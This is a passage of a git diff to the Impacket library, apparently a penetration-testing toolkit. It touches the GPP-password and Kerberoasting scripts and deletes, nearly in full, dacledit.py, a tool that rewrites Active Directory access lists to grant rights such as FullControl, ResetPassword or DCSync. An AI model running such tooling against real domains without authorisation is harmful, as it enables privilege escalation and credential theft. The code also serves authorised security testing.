"".join(f.readlines()) + f = open(args.xmlfile,'r') + rawdata = ''.join(f.readlines()) f.close() results = g.parse_xmlfile_content(args.xmlfile, rawdata) g.show(results) else: - print("[!] File does not exists or is not readable.") + print('[!] File does not exists or is not readable.') else: domain, username, password, address, lmhash, nthash = parse_target(args) try: - smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash) + smbClient= init_smb_session(args, domain, username, password, address, lmhash, nthash) g = GetGPPasswords(smbClient, args.share) g.list_shares() g.find_cpasswords(args.base_dir) @@ -319,3 +291,7 @@ def init_smb_session(args, domain, username, password, address, lmhash, nthash): if logging.getLogger().level == logging.DEBUG: traceback.print_exc() logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index bb79bbb7ae..1713805e06 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -26,6 +26,8 @@ # # ToDo: # [X] Add the capability for requesting TGS and output them in JtR/hashcat format +# [X] Improve the search filter, we have to specify we don't want machine accounts in the answer +# (play with userAccountControl) # from __future__ import division @@ -291,17 +293,13 @@ def run(self): raise # Building the search filter - filter_person = "objectCategory=person" - filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)" - - searchFilter = "(&" - searchFilter += "(" + filter_person + ")" - searchFilter += "(" + filter_not_disabled + ")" + searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ + "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))" if self.__requestUser is not None: - searchFilter += '(sAMAccountName:=%s)' % self.__requestUser - - searchFilter += ')' + searchFilter += '(sAMAccountName:=%s))' % self.__requestUser + else: + searchFilter += ')' try: resp = ldapConnection.search(searchFilter=searchFilter, @@ -320,6 +318,7 @@ def run(self): answers = [] logging.debug('Total of records returned %d' % len(resp)) + for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue diff --git a/examples/dacledit.py b/examples/dacledit.py deleted file mode 100755 index 688c7c4a5d..0000000000 --- a/examples/dacledit.py +++ /dev/null @@ -1,976 +0,0 @@ -#!/usr/bin/env python3 -# Impacket - Collection of Python classes for working with network protocols. -# -# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. -# -# This software is provided under a slightly modified version -# of the Apache Software License. See the accompanying LICENSE file -# for more information. -# -# Description: -# Python script to read and manage the Discretionary Access Control List of an object -# -# Authors: -# Charlie BROMBERG (@_nwodtuhs) -# Guillaume DAUMAS (@BlWasp_) -# Lucien DOUSTALY (@Wlayzz) -# - -import argparse -import binascii -import codecs -import json -import logging -import os -import sys -import traceback -import datetime - -import ldap3 -import ssl -import ldapdomaindump -from binascii import unhexlify -from enum import Enum -from ldap3.protocol.formatters.formatters import format_sid - -from impacket import version -from impacket.examples import logger, utils -from impacket.ldap import ldaptypes -from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS -from impacket.smbconnection import SMBConnection -from impacket.spnego import SPNEGO_NegTokenInit, TypesMech -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control -from impacket.uuid import string_to_bin, bin_to_string - -OBJECT_TYPES_GUID = {} -OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) -OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) - -# Universal SIDs -WELL_KNOWN_SIDS = { - 'S-1-0': 'Null Authority', - 'S-1-0-0': 'Nobody', - 'S-1-1': 'World Authority', - 'S-1-1-0': 'Everyone', - 'S-1-2': 'Local Authority', - 'S-1-2-0': 'Local', - 'S-1-2-1': 'Console Logon', - 'S-1-3': 'Creator Authority', - 'S-1-3-0': 'Creator Owner', - 'S-1-3-1': 'Creator Group', - 'S-1-3-2': 'Creator Owner Server', - 'S-1-3-3': 'Creator Group Server', - 'S-1-3-4': 'Owner Rights', - 'S-1-5-80-0': 'All Services', - 'S-1-4': 'Non-unique Authority', - 'S-1-5': 'NT Authority', - 'S-1-5-1': 'Dialup', - 'S-1-5-2': 'Network', - 'S-1-5-3': 'Batch', - 'S-1-5-4': 'Interactive', - 'S-1-5-6': 'Service', - 'S-1-5-7': 'Anonymous', - 'S-1-5-8': 'Proxy', - 'S-1-5-9': 'Enterprise Domain Controllers', - 'S-1-5-10': 'Principal Self', - 'S-1-5-11': 'Authenticated Users', - 'S-1-5-12': 'Restricted Code', - 'S-1-5-13': 'Terminal Server Users', - 'S-1-5-14': 'Remote Interactive Logon', - 'S-1-5-15': 'This Organization', - 'S-1-5-17': 'This Organization', - 'S-1-5-18': 'Local System', - 'S-1-5-19': 'NT Authority', - 'S-1-5-20': 'NT Authority', - 'S-1-5-32-544': 'Administrators', - 'S-1-5-32-545': 'Users', - 'S-1-5-32-546': 'Guests', - 'S-1-5-32-547': 'Power Users', - 'S-1-5-32-548': 'Account Operators', - 'S-1-5-32-549': 'Server Operators', - 'S-1-5-32-550': 'Print Operators', - 'S-1-5-32-551': 'Backup Operators', - 'S-1-5-32-552': 'Replicators', - 'S-1-5-64-10': 'NTLM Authentication', - 'S-1-5-64-14': 'SChannel Authentication', - 'S-1-5-64-21': 'Digest Authority', - 'S-1-5-80': 'NT Service', - 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', - 'S-1-16-0': 'Untrusted Mandatory Level', - 'S-1-16-4096': 'Low Mandatory Level', - 'S-1-16-8192': 'Medium Mandatory Level', - 'S-1-16-8448': 'Medium Plus Mandatory Level', - 'S-1-16-12288': 'High Mandatory Level', - 'S-1-16-16384': 'System Mandatory Level', - 'S-1-16-20480': 'Protected Process Mandatory Level', - 'S-1-16-28672': 'Secure Process Mandatory Level', - 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', - 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', - 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', - 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', - 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', - 'S-1-5-32-559': 'BUILTIN\Performance Log Users', - 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', - 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', - 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', - 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', - 'S-1-5-32-573': 'BUILTIN\Event Log Readers', - 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', - 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', - 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', - 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', - 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', - 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', - 'S-1-5-32-580': 'BUILTIN\Remote Management Users', -} - - -# GUID rights enum -# GUID thats permits to identify extended rights in an ACE -# https://docs.microsoft.com/en-us/windows/win32/adschema/a-rightsguid -class RIGHTS_GUID(Enum): - WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" - ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" - DS_Replication_Get_Changes = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" - DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" - - -# ACE flags enum -# New ACE at the end of SACL for inheritance and access return system-audit -# https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace -class ACE_FLAGS(Enum): - CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE - FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG - INHERIT_ONLY_ACE = ldaptypes.ACE.INHERIT_ONLY_ACE - INHERITED_ACE = ldaptypes.ACE.INHERITED_ACE - NO_PROPAGATE_INHERIT_ACE = ldaptypes.ACE.NO_PROPAGATE_INHERIT_ACE - OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE - SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG - - -# ACE flags enum -# For an ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID -# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' -# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace -class OBJECT_ACE_FLAGS(Enum): - ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT - - -# Access Mask enum -# Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b -# https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum?redirectedfrom=MSDN -class ACCESS_MASK(Enum): - # Generic Rights - GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ - GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE - GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE - GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL - - # Maximum Allowed access type - MaximumAllowed = 0x02000000 - - # Access System Acl access type - AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY - - # Standard access types - Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE - WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER - WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC - ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL - Delete = 0x00010000 # ADS_RIGHT_DELETE - - # Specific rights - AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS - ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT - DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE - WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP - ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP - Self = 0x00000008 # ADS_RIGHT_DS_SELF - ListChildObjects = 0x00000004 # ADS_RIGHT_ACTRL_DS_LIST - DeleteChild = 0x00000002 # ADS_RIGHT_DS_DELETE_CHILD - CreateChild = 0x00000001 # ADS_RIGHT_DS_CREATE_CHILD - - -# Simple permissions enum -# Simple permissions are combinaisons of extended permissions -# https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc783530(v=ws.10)?redirectedfrom=MSDN -class SIMPLE_PERMISSIONS(Enum): - FullControl = 0xf01ff - Modify = 0x0301bf - ReadAndExecute = 0x0200a9 - ReadAndWrite = 0x02019f - Read = 0x20094 - Write = 0x200bc - - -# Mask ObjectType field enum -# Possible values for the Mask field in object-specific ACE (permitting to specify extended rights in the ObjectType field for example) -# Since these flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes' -# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe -class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): - ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD - DeleteChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD - ReadProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP - WriteProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP - Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF - - -class DACLedit(object): - """docstring for setrbcd""" - - def __init__(self, ldap_server, ldap_session, args): - super(DACLedit, self).__init__() - self.ldap_server = ldap_server - self.ldap_session = ldap_session - - self.target_sAMAccountName = args.target_sAMAccountName - self.target_SID = args.target_SID - self.target_DN = args.target_DN - - self.principal_sAMAccountName = args.principal_sAMAccountName - self.principal_SID = args.principal_SID - self.principal_DN = args.principal_DN - - self.ace_type = args.ace_type - self.rights = args.rights - self.rights_guid = args.rights_guid - self.filename = args.filename - - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - - if self.target_sAMAccountName or self.target_SID or self.target_DN: - # Searching for target account with its security descriptor - self.search_target_principal_security_descriptor() - # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) - - # Searching for the principal SID if any principal argument was given and principal_SID wasn't - if self.principal_SID is None and self.principal_sAMAccountName is not None or self.principal_DN is not None: - _lookedup_principal = "" - if self.principal_sAMAccountName is not None: - _lookedup_principal = self.principal_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) - elif self.principal_DN is not None: - _lookedup_principal = self.principal_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) - try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - logging.debug("Found principal SID: %s" % self.principal_SID) - except IndexError: - logging.error('Principal SID not found in LDAP (%s)' % _lookedup_principal) - exit(1) - - - # Main read funtion - # Prints the parsed DACL - def read(self): - parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) - self.printparsedDACL(parsed_dacl) - return - - - # Main write function - # Attempts to add a new ACE to a DACL - def write(self): - # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified - # Append the ACEs in the DACL locally - if self.rights == "FullControl" and self.rights_guid is None: - logging.debug("Appending ACE (%s --(FullControl)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) - self.principal_security_descriptor['Dacl'].aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) - else: - for rights_guid in self.build_guids_for_rights(): - logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) - self.principal_security_descriptor['Dacl'].aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) - # Backups current DACL before add the new one - self.backup() - # Effectively push the DACL with the new ACE - self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) - return - - - # Attempts to remove an ACE from the DACL - # To do it, a new DACL is built locally with all the ACEs that must NOT BE removed, and this new DACL is pushed on the server - def remove(self): - compare_aces = [] - # Creates ACEs with the specified GUIDs and the SID, or FullControl if no GUID is specified - # These ACEs will be used as comparison templates - if self.rights == "FullControl" and self.rights_guid is None: - compare_aces.append(self.create_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID, self.ace_type)) - else: - for rights_guid in self.build_guids_for_rights(): - compare_aces.append(self.create_object_ace(rights_guid, self.principal_SID, self.ace_type)) - new_dacl = [] - i = 0 - dacl_must_be_replaced = False - for ace in self.principal_security_descriptor['Dacl'].aces: - ace_must_be_removed = False - for compare_ace in compare_aces: - # To be sure the good ACEs are removed, multiple fields are compared between the templates and the ACEs in the DACL - # - ACE type - # - ACE flags - # - Access masks - # - Revision - # - SubAuthorityCount - # - SubAuthority - # - IdentifierAuthority value - if ace['AceType'] == compare_ace['AceType'] \ - and ace['AceFlags'] == compare_ace['AceFlags']\ - and ace['Ace']['Mask']['Mask'] == compare_ace['Ace']['Mask']['Mask']\ - and ace['Ace']['Sid']['Revision'] == compare_ace['Ace']['Sid']['Revision']\ - and ace['Ace']['Sid']['SubAuthorityCount'] == compare_ace['Ace']['Sid']['SubAuthorityCount']\ - and ace['Ace']['Sid']['SubAuthority'] == compare_ace['Ace']['Sid']['SubAuthority']\ - and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: - # If the ACE has an ObjectType, the GUIDs must match - if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): - if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: - ace_must_be_removed = True - dacl_must_be_replaced = True - else: - ace_must_be_removed = True - dacl_must_be_replaced = True - # If the ACE doesn't match any ACEs from the template list, it is added to the DACL that will be pushed - if not ace_must_be_removed: - new_dacl.append(ace) - elif logging.getLogger().level == logging.DEBUG: - logging.debug("This ACE will be removed") - self.printparsedACE(self.parseACE(ace)) - i += 1 - # If at least one ACE must been removed - if dacl_must_be_replaced: - self.principal_security_descriptor['Dacl'].aces = new_dacl - self.backup() - self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) - else: - logging.info("Nothing to remove...") - - - # Permits to backup a DACL before a modification - # This function is called before any writing action (write, remove or restore) - def backup(self): - backup = {} - backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode('utf-8') - backup["dn"] = self.target_principal.entry_dn - if not self.filename: - self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") - else: - if os.path.exists(self.filename): - logging.info("File %s already exists, I'm refusing to overwrite it, setting another filename" % self.filename) - self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") - with codecs.open(self.filename, 'w', 'utf-8') as outfile: - json.dump(backup, outfile) - logging.info('DACL backed up to %s', self.filename) - - - # Permits to restore a saved DACL - def restore(self): - # Opens and load the file where the DACL has been saved - with codecs.open(self.filename, 'r', 'utf-8') as infile: - restore = json.load(infile) - assert "sd" in restore.keys() - assert "dn" in restore.keys() - # Extracts the Security Descriptor and converts it to the good ldaptypes format - new_raw_security_descriptor = binascii.unhexlify(restore["sd"].encode('utf-8')) - new_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=new_raw_security_descriptor) - - self.target_DN = restore["dn"] - # Searching for target account with its security descriptor - self.search_target_principal_security_descriptor() - # Extract security descriptor data - self.principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] - self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor) - - # Do a backup of the actual DACL and push the restoration - self.backup() - logging.info('Restoring DACL') - self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) - - # Attempts to retrieve the DACL in the Security Descriptor of the specified target - def search_target_principal_security_descriptor(self): - _lookedup_principal = "" - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - _lookedup_principal = self.target_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - _lookedup_principal = self.target_SID - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - _lookedup_principal = self.target_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) - except IndexError: - logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal) - exit(0) - - - # Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName - # Not used for the moment - # - samname : a sAMAccountName - def get_user_info(self, samname): - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) - try: - dn = self.ldap_session.entries[0].entry_dn - sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - return dn, sid - except IndexError: - logging.error('User not found in LDAP: %s' % samname) - return False - - - # Attempts to resolve a SID and return the corresponding samaccountname - # - sid : the SID to resolve - def resolveSID(self, sid): - # Tries to resolve the SID from the well known SIDs - if sid in WELL_KNOWN_SIDS.keys(): - return WELL_KNOWN_SIDS[sid] - # Tries to resolve the SID from the LDAP domain dump - else: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) - try: - dn = self.ldap_session.entries[0].entry_dn - samname = self.ldap_session.entries[0]['samaccountname'] - return samname - except IndexError: - logging.debug('SID not found in LDAP: %s' % sid) - return "" - - - # Parses a full DACL - # - dacl : the DACL to parse, submitted in a Security Desciptor format - def parseDACL(self, dacl): - parsed_dacl = [] - logging.info("Parsing DACL") - i = 0 - for ace in dacl['Data']: - parsed_ace = self.parseACE(ace) - parsed_dacl.append(parsed_ace) - i += 1 - return parsed_dacl - - - # Parses an access mask to extract the different values from a simple permission - # https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights - # - fsr : the access mask to parse - def parsePerms(self, fsr): - _perms = [] - for PERM in SIMPLE_PERMISSIONS: - if (fsr & PERM.value) == PERM.value: - _perms.append(PERM.name) - fsr = fsr & (not PERM.value) - for PERM in ACCESS_MASK: - if fsr & PERM.value: - _perms.append(PERM.name) - return _perms - - - # Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType) - # - ace : the ACE to parse - def parseACE(self, ace): - # For the moment, only the Allowed and Denied Access ACE are supported - if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: - parsed_ace = {} - parsed_ace['ACE Type'] = ace['TypeName'] - # Retrieves ACE's flags - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" - - # For standard ACE - # Extracts the access mask (by parsing the simple permissions) and the principal's SID - if ace['TypeName'] in [ "ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE" ]: - parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) - parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - - # For object-specific ACE - elif ace['TypeName'] in [ "ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE" ]: - # Extracts the mask values. These values will indicate the ObjectType purpose - _access_mask_flags = [] - for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Access mask'] = ", ".join(_access_mask_flags) - # Extracts the ACE flag values and the trusted SID - _object_flags = [] - for FLAG in OBJECT_ACE_FLAGS: - if ace['Ace'].hasFlag(FLAG.value): - _object_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_object_flags) or "None" - # Extracts the ObjectType GUID values - if ace['Ace']['ObjectTypeLen'] != 0: - obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() - try: - parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) - except KeyError: - parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type - # Extracts the InheritedObjectType GUID values - if ace['Ace']['InheritedObjectTypeLen'] != 0: - inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() - try: - parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) - except KeyError: - parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type - # Extract the Trustee SID (the object that has the right over the DACL bearer) - parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) - - else: - # If the ACE is not an access allowed - logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) - parsed_ace = {} - parsed_ace['ACE type'] = ace['TypeName'] - _ace_flags = [] - for FLAG in ACE_FLAGS: - if ace.hasFlag(FLAG.value): - _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" - parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" - return parsed_ace - - - # Prints a full DACL by printing each parsed ACE - # - parsed_dacl : a parsed DACL from parseDACL() - def printparsedDACL(self, parsed_dacl): - # Attempts to retrieve the principal's SID if it's a write action - if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: - if self.principal_sAMAccountName is not None: - _lookedup_principal = self.principal_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) - elif self.principal_DN is not None: - _lookedup_principal = self.principal_DN - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) - try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - except IndexError: - logging.error('Principal not found in LDAP (%s)' % _lookedup_principal) - return False - logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) - - logging.info("Printing parsed DACL") - i = 0 - # If a principal has been specified, only the ACE where he is the trustee will be printed - if self.principal_SID is not None: - logging.info("Filtering results for SID (%s)" % self.principal_SID) - for parsed_ace in parsed_dacl: - print_ace = True - if self.principal_SID is not None: - try: - if self.principal_SID not in parsed_ace['Trustee (SID)']: - print_ace = False - except Exception as e: - logging.error("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) - if print_ace: - logging.info(" %-28s" % "ACE[%d] info" % i) - self.printparsedACE(parsed_ace) - i += 1 - - - # Prints properly a parsed ACE - # - parsed_ace : a parsed ACE from parseACE() - def printparsedACE(self, parsed_ace): - elements_name = list(parsed_ace.keys()) - for attribute in elements_name: - logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) - - - # Retrieves the GUIDs for the specified rights - def build_guids_for_rights(self): - _rights_guids = [] - if self.rights_guid is not None: - _rights_guids = [self.rights_guid] - elif self.rights == "WriteMembers": - _rights_guids = [RIGHTS_GUID.WriteMembers.value] - elif self.rights == "ResetPassword": - _rights_guids = [RIGHTS_GUID.ResetPassword.value] - elif self.rights == "DCSync": - _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] - logging.debug('Built GUID: %s', _rights_guids) - return _rights_guids - - - # Attempts to push the locally built DACL to the remote server into the security descriptor of the specified principal - # The target principal is specified with its Distinguished Name - # - dn : the principal's Distinguished Name to modify - # - secDesc : the Security Descriptor with the new DACL to push - def modify_secDesc_for_dn(self, dn, secDesc): - data = secDesc.getData() - controls = security_descriptor_control(sdflags=0x04) - logging.debug('Attempts to modify the Security Descriptor.') - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: - logging.info('DACL modified successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) - - - # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb - # - access_mask : the allowed access mask - # - sid : the principal's SID - # - ace_type : the ACE type (allowed or denied) - def create_ace(self, access_mask, sid, ace_type): - nace = ldaptypes.ACE() - if ace_type == "allowed": - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE - acedata = ldaptypes.ACCESS_ALLOWED_ACE() - else: - nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE - acedata = ldaptypes.ACCESS_DENIED_ACE() - nace['AceFlags'] = 0x00 - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = access_mask - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - nace['Ace'] = acedata - logging.debug('ACE created.') - return nace - - - # Builds an object-specific for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) - # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe - # - privguid : the ObjectType (an Extended Right here) - # - sid : the principal's SID - # - ace_type : the ACE type (allowed or denied) - def create_object_ace(self, privguid, sid, ace_type): - nace = ldaptypes.ACE() - if ace_type == "allowed": - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE - acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() - else: - nace['AceType'] = 